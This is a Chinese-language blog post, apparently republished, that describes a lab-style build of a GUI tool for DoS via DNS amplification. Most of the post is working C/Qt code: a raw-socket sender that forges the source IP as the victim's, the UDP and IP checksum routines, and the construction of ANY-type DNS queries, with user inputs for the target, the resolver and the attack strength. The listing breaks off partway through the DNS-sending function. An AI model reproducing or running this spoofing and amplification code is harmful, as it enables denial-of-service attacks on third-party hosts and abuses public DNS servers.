| 关键词: struct QByteArray 攻击 unsigned DNS ubuf 报文 sizeof short 函数 |
摘要: 发送大量的数据包消耗目标主机资源,使其无法正常工作。 1.前言: DOS攻击原理:发送大量的数据包消耗目标主机资源,使其无法正常工作。 DNS放大攻击的原理:伪造DNS数据包,向DNS服务器发送域名查询报文了,而DNS服务器返回的应答报文则会发送给被攻击主机。放大体现在请求DNS回复的类型为ANY,攻击者向服务器请求的包长度为69个字节,而服务器向被攻击主机回复的ANY类型DNS包长度为535字节,大约放大了7倍。 本次实验实现的是DOS+DNS放大攻击,在传输层使用UDP协议,应用层使用DNS协议,程序有界面,接受用户输入,用户还能调节发包的速度改变攻击强度。 2.程序框图: ![]() 3.DOS+DNS简易界面的设计 添加5个文本框,用来接受用户输入的被攻击的ip,发送的端口,服务器ip,发送接口名称,查询的域名。 添加一个滑块用来控制攻击的强度。 添加两个按钮控制攻击的开始和停止。 核心代码是attack按钮槽函数的实现,接受输入,并调用攻击函数。 void Widget::on_attack_pushButton_clicked() { QByteArray dstipstr = ui->dst_ip_Edit->text().toLatin1(); QByteArray ifnamestr = ui->ifname_Edit->text().toLatin1(); QByteArray dnsipstr = ui->dns_Edit->text().toLatin1(); QByteArray domainstr = ui->Domain_Edit->text().toLatin1(); dosattack= new DosAttack(dstipstr,ifnamestr,ui->port_spinBox-> value(),dnsipstr,ui->AttackLEVEL_Slider->value(),domainstr); dosattack->start(); } 4.构造发送DNS报文 ![]() 因为我们要伪造源IP,发送DNS请求,所以我们的报文应该从IP头部开始构造,一直到UDP报文的数据部分。这里分为两个部分,IP头部和UDP头部作为一个部分,UDP的数据即DNS报文作为一个部分。 (1)IP伪首部+IP头部+UDP头部 ![]() UDP包在网络传输的时候要计算校验和,需要用到IP伪首部,IP伪首部在网络中不传输,只用作校验和的计算。我们构造两个数据结构,udpbuf填充UDP头部包括IP头部、udpfhrd填充IP伪首部。核心代码在sendudp函数里填充数据,以及检验和checksum函数的实现。 //IP头部+UDP头部 struct udpbuf { struct ip iph; struct udphdr udp; }; //IP伪首部 struct udpfhrd { struct in_addr ip_src; struct in_addr ip_dst; char zero; char protocal; short len; }; //检验和函数 unsigned short checksum(unsigned short * buffer, int size) { unsigned long cksum = 0; while(size>1) { cksum += *buffer++; size -=sizeof(unsigned short); } if (size) { cksum += *(unsigned char*)buffer; } cksum = (cksum>>16)+ (cksum&0xffff); cksum += (cksum>>16); return (unsigned short)(~cksum); } //udp发送函数 void sendudp(char *src_ip, char *dst_ip,int src_port,int dst_port, char * ifname, char*data,int datalen) { int buflen = sizeof(udpbuf)+datalen; char buf[buflen]; struct udpbuf *ubuf = (struct udpbuf *)buf; struct sockaddr_ll toaddr; struct in_addr targetIP,srcIP; struct ifreq ifr; int skfd; if ((skfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { exit(1); } bzero(&toaddr, sizeof(toaddr)); bzero(&ifr, sizeof(ifr)); memcpy(ifr.ifr_name,ifname,strlen(ifname)); ioctl(skfd, SIOCGIFINDEX,&ifr); toaddr.sll_ifindex = ifr.ifr_ifindex; ubuf->iph.ip_v = IPVERSION; ubuf->iph.ip_hl= sizeof(struct ip)>>2; ubuf->iph.ip_tos = 0; ubuf->iph.ip_len = htons(buflen); ubuf->iph.ip_id = 0; ubuf->iph.ip_off = 0; ubuf->iph.ip_ttl = MAXTTL; ubuf->iph.ip_p = IPPROTO_UDP; ubuf->iph.ip_sum = 0; inet_pton(AF_INET,dst_ip,&targetIP); ubuf->iph.ip_dst = targetIP; inet_pton(AF_INET,src_ip,&srcIP); ubuf->iph.ip_src = srcIP; ubuf->iph.ip_sum = checksum((unsigned short *)(&(ubuf->iph)),sizeof(struct ip)); ubuf->udp.source = htons(src_port); ubuf->udp.dest = htons(dst_port); ubuf->udp.len = htons(sizeof(struct udphdr) + datalen); ubuf->udp.check = 0; memcpy(buf + sizeof(struct udpbuf),data,datalen); int csbuflen = sizeof(struct udpfhrd)+sizeof(struct udphdr)+(datalen % 2 == 0?datalen:datalen + 1); char checksumbuf[csbuflen] ; struct udpfhrd * fhrd = (struct udpfhrd *)checksumbuf; fhrd->ip_dst = ubuf->iph.ip_dst; fhrd->ip_src = ubuf->iph.ip_src; fhrd->zero = 0; fhrd->protocal = ubuf->iph.ip _p; fhrd->len = ubuf->udp.len; memcpy((checksumbuf+sizeof(struct udpfhrd)),&(ubuf->udp),sizeof(struct udphdr)+datalen); if(datalen % 2 != 0) { checksumbuf[csbuflen-1] = 0;} ubuf->udp.check = checksum((unsigned short *)(checksumbuf),csbuflen); toaddr.sll_family = AF_INET; sendto(skfd, buf, buflen, 0, (struct sockaddr *)&toaddr, sizeof(toaddr)); close(skfd); } (2)DNS报文部分 ![]() ![]() 同样构造一个数据结构 dnshdr来填充DNS报文,注意放大攻击的请求类型是ANY。 这一部分的核心是在DNS发送函数SendDns填充数据,以及查询名的转化,在DNS报文里查询名的存储格式是3www5baidu3com,用户提交的数据格式是www.baidu.com。 //DNS前12字节 struct dnshdr { unsigned short id; unsigned short bz; unsigned short wtcount; unsigned short zyCount; unsigned short sqCount; unsigned short ewCount; }; //DNS可变部分 struct questtype { unsigned short dnsType; unsigned short dnsClass; }; //sendDns函数,函数最后调用sendudp函数,将数据整合到sendudp函数中。 void SendDns(char * ifname ,char * srcf_ip,unsigned short src_port, char * dns, QByteArray domain) { QList <QByteArray> domainlist= domain.split('.'); QByteArray domainName; for (int i = 0; i<domainlist.length();i++) { domainName += domainlist.at(i).length(); domainName += domainlist.at(i); } domainName += '\0'; int bufflen = sizeof(dnshdr) + domainName.length() + sizeof( questtype); char buf[bufflen]; struct dnshdr * dnsh; struct questtype * qtype; dnsh = (struct dnshdr*)buf; 本文出处: https://www.toutiao.com/article/6806811848227160588/ |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|